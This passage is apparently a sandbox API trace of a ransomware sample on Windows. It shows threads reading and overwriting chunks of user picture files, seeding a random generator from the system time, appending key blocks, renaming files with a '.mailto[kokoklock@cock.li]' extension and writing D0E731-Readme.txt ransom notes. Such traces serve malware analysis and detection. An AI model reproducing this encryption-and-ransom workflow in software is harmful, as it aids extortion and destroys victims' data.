User.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default user.dat.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.189] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476280) returned 1 [0075.189] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat", dwFileAttributes=0x20) returned 0 [0075.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347c750 [0075.189] wcscpy (in: _Dest=0x347c750, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0075.189] wcscat (in: _Dest=0x347c750, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" [0075.189] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\d0e731-readme.txt")) returned 0xffffffff [0075.189] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9cc [0075.190] WriteFile (in: hFile=0x9cc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1bfbfa28, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1bfbfa28*=0x481, lpOverlapped=0x0) returned 1 [0075.191] CloseHandle (hObject=0x9cc) returned 1 [0075.192] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c750) returned 1 [0075.192] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2600) returned 1 [0075.192] RtlExitUserThread (Status=0x1) Thread: id = 741 os_tid = 0x11e0 [0075.135] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\fd1hvy.dat")) returned 0x20 [0075.136] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat", dwFileAttributes=0x20) returned 1 [0075.136] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\fd1hvy.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9d0 [0075.136] GetFileSizeEx (in: hFile=0x9d0, lpFileSize=0x1c03fbc0 | out: lpFileSize=0x1c03fbc0*=0) returned 1 [0075.136] CloseHandle (hObject=0x9d0) returned 1 [0075.136] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat", dwFileAttributes=0x20) returned 1 [0075.137] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c45b8) returned 1 [0075.137] RtlExitUserThread (Status=0x0) Thread: id = 742 os_tid = 0x11e4 [0075.138] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp")) returned 0x20 [0075.228] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp", dwFileAttributes=0x20) returned 1 [0075.228] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9cc [0075.229] GetFileSizeEx (in: hFile=0x9cc, lpFileSize=0x1c0bf7f4 | out: lpFileSize=0x1c0bf7f4*=602168) returned 1 [0075.229] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x93034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.229] ReadFile (in: hFile=0x9cc, lpBuffer=0x1c0bf7c8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c0bf7c4, lpOverlapped=0x0 | out: lpBuffer=0x1c0bf7c8*, lpNumberOfBytesRead=0x1c0bf7c4*=0x4, lpOverlapped=0x0) returned 1 [0075.230] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34796b0 [0075.231] NtQuerySystemTime (in: CurrentTime=0x1c0bf7a0 | out: CurrentTime=0x1c0bf7a0*=132121176331284234) returned 0x0 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xa0da32f4 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x6680c124 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x95134c46 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x2e62b7f2 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xec169f2a [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x1a4c0b29 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xb137018c [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x2eef6832 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xed0501af [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x11283cdc [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x40af9ecb [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x4b7c423 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x5a0defde [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x92363b64 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x6dea4d6 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xc97b69dd [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xe0c984c [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xcc553280 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x66c7d3e5 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x125dd87f [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x1046413a [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xc95baee9 [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x58bb28ba [0075.231] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xbca36a84 [0075.232] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x61347d38 [0075.232] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x7048240 [0075.232] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x69486b12 [0075.232] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0x47c316d8 [0075.232] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xb0026f01 [0075.232] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xd169eaf9 [0075.232] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xc4e03662 [0075.232] RtlRandom (in: Seed=0x1c0bf7ac | out: Seed=0x1c0bf7ac) returned 0xabc19aef [0075.243] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.244] ReadFile (in: hFile=0x9cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1c0bf760, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c0bf760*=0x4096, lpOverlapped=0x0) returned 1 [0075.245] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479750 [0075.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34792a0 [0075.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34792a0) returned 1 [0075.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.246] WriteFile (in: hFile=0x9cc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1c0bf760, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c0bf760*=0x4096, lpOverlapped=0x0) returned 1 [0075.247] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.247] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x4cb22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.247] ReadFile (in: hFile=0x9cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1c0bf760, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c0bf760*=0x4096, lpOverlapped=0x0) returned 1 [0075.248] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x4cb22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd9d0 [0075.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0075.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34794d0 [0075.248] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794d0) returned 1 [0075.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479430 [0075.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479458 [0075.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479458) returned 1 [0075.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0075.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd9d0) returned 1 [0075.249] WriteFile (in: hFile=0x9cc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1c0bf760, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c0bf760*=0x4096, lpOverlapped=0x0) returned 1 [0075.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.249] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x8efa2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.249] ReadFile (in: hFile=0x9cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1c0bf760, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c0bf760*=0x4096, lpOverlapped=0x0) returned 1 [0075.250] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x8efa2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd628 [0075.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479ad8 [0075.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479610 [0075.250] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479610) returned 1 [0075.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479700 [0075.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34793e0 [0075.250] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793e0) returned 1 [0075.250] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0075.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd628) returned 1 [0075.251] WriteFile (in: hFile=0x9cc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1c0bf760, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c0bf760*=0x4096, lpOverlapped=0x0) returned 1 [0075.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.251] WriteFile (in: hFile=0x9cc, lpBuffer=0x3479750*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c0bf7bc, lpOverlapped=0x0 | out: lpBuffer=0x3479750*, lpNumberOfBytesWritten=0x1c0bf7bc*=0x20, lpOverlapped=0x0) returned 1 [0075.251] WriteFile (in: hFile=0x9cc, lpBuffer=0x3479430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c0bf7bc, lpOverlapped=0x0 | out: lpBuffer=0x3479430*, lpNumberOfBytesWritten=0x1c0bf7bc*=0x20, lpOverlapped=0x0) returned 1 [0075.251] WriteFile (in: hFile=0x9cc, lpBuffer=0x3479700*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c0bf7bc, lpOverlapped=0x0 | out: lpBuffer=0x3479700*, lpNumberOfBytesWritten=0x1c0bf7bc*=0x20, lpOverlapped=0x0) returned 1 [0075.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.251] WriteFile (in: hFile=0x9cc, lpBuffer=0x34793b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1c0bf7c4, lpOverlapped=0x0 | out: lpBuffer=0x34793b8*, lpNumberOfBytesWritten=0x1c0bf7c4*=0x8, lpOverlapped=0x0) returned 1 [0075.251] WriteFile (in: hFile=0x9cc, lpBuffer=0x1c0bf7dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c0bf7c4, lpOverlapped=0x0 | out: lpBuffer=0x1c0bf7dc*, lpNumberOfBytesWritten=0x1c0bf7c4*=0x4, lpOverlapped=0x0) returned 1 [0075.251] WriteFile (in: hFile=0x9cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c0bf7c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1c0bf7c4*=0x4, lpOverlapped=0x0) returned 1 [0075.251] WriteFile (in: hFile=0x9cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c0bf7c4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1c0bf7c4*=0x6c, lpOverlapped=0x0) returned 1 [0075.251] WriteFile (in: hFile=0x9cc, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c0bf7c4, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1c0bf7c4*=0x20, lpOverlapped=0x0) returned 1 [0075.251] WriteFile (in: hFile=0x9cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c0bf7c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1c0bf7c4*=0x4, lpOverlapped=0x0) returned 1 [0075.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479728) returned 1 [0075.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793b8) returned 1 [0075.252] CloseHandle (hObject=0x9cc) returned 1 [0075.252] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431e48 [0075.252] wcscpy (in: _Dest=0x3431e48, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" [0075.252] wcscat (in: _Dest=0x3431e48, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731" [0075.252] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.253] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431e48) returned 1 [0075.253] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp", dwFileAttributes=0x20) returned 0 [0075.253] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347c750 [0075.253] wcscpy (in: _Dest=0x347c750, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0075.253] wcscat (in: _Dest=0x347c750, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" [0075.253] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\d0e731-readme.txt")) returned 0x20 [0075.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c750) returned 1 [0075.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c7d40) returned 1 [0075.253] RtlExitUserThread (Status=0x1) Thread: id = 743 os_tid = 0x11e8 [0075.139] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.png")) returned 0x20 [0075.141] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png", dwFileAttributes=0x20) returned 1 [0075.230] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9d0 [0075.230] GetFileSizeEx (in: hFile=0x9d0, lpFileSize=0x1c13ff2c | out: lpFileSize=0x1c13ff2c*=5400) returned 1 [0075.248] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.248] ReadFile (in: hFile=0x9d0, lpBuffer=0x1c13ff00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c13fefc, lpOverlapped=0x0 | out: lpBuffer=0x1c13ff00*, lpNumberOfBytesRead=0x1c13fefc*=0x4, lpOverlapped=0x0) returned 1 [0075.255] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.255] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479728 [0075.255] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479278 [0075.255] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34792f0 [0075.255] NtQuerySystemTime (in: CurrentTime=0x1c13fed8 | out: CurrentTime=0x1c13fed8*=132121176331440055) returned 0x0 [0075.255] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xb85c6e5b [0075.255] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x6a86360a [0075.255] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xb86937e7 [0075.255] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x217a12e0 [0075.255] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x8be1e05d [0075.255] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x7b7b5706 [0075.255] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x286d76c7 [0075.255] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x373c857 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xd906003f [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xdc187a1c [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xa7b2e753 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x4e30a075 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x839cc88e [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xedc69e30 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x75567193 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x5d4241ca [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x3be0942 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xf89f619c [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x9c3872ac [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x7777d895 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x2611edf1 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xcf0c307f [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xa5a69df7 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xe1c0d7b2 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x6da25267 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xa9bd5e4a [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x7be472db [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xf7042ff5 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xe0a02bb8 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0xc4cd131a [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x17dbcf95 [0075.256] RtlRandom (in: Seed=0x1c13fee4 | out: Seed=0x1c13fee4) returned 0x195eb0ee [0075.269] ReadFile (in: hFile=0x9d0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1518, lpNumberOfBytesRead=0x1c13fed8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c13fed8*=0x1518, lpOverlapped=0x0) returned 1 [0075.270] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1c13fea0 | out: lpNewFilePointer=0x0) returned 1 [0075.270] WriteFile (in: hFile=0x9d0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1518, lpNumberOfBytesWritten=0x1c13fed4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c13fed4*=0x1518, lpOverlapped=0x0) returned 1 [0075.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795e8 [0075.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479458 [0075.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479458) returned 1 [0075.270] WriteFile (in: hFile=0x9d0, lpBuffer=0x34795e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c13fed0, lpOverlapped=0x0 | out: lpBuffer=0x34795e8*, lpNumberOfBytesWritten=0x1c13fed0*=0x20, lpOverlapped=0x0) returned 1 [0075.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34795e8) returned 1 [0075.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 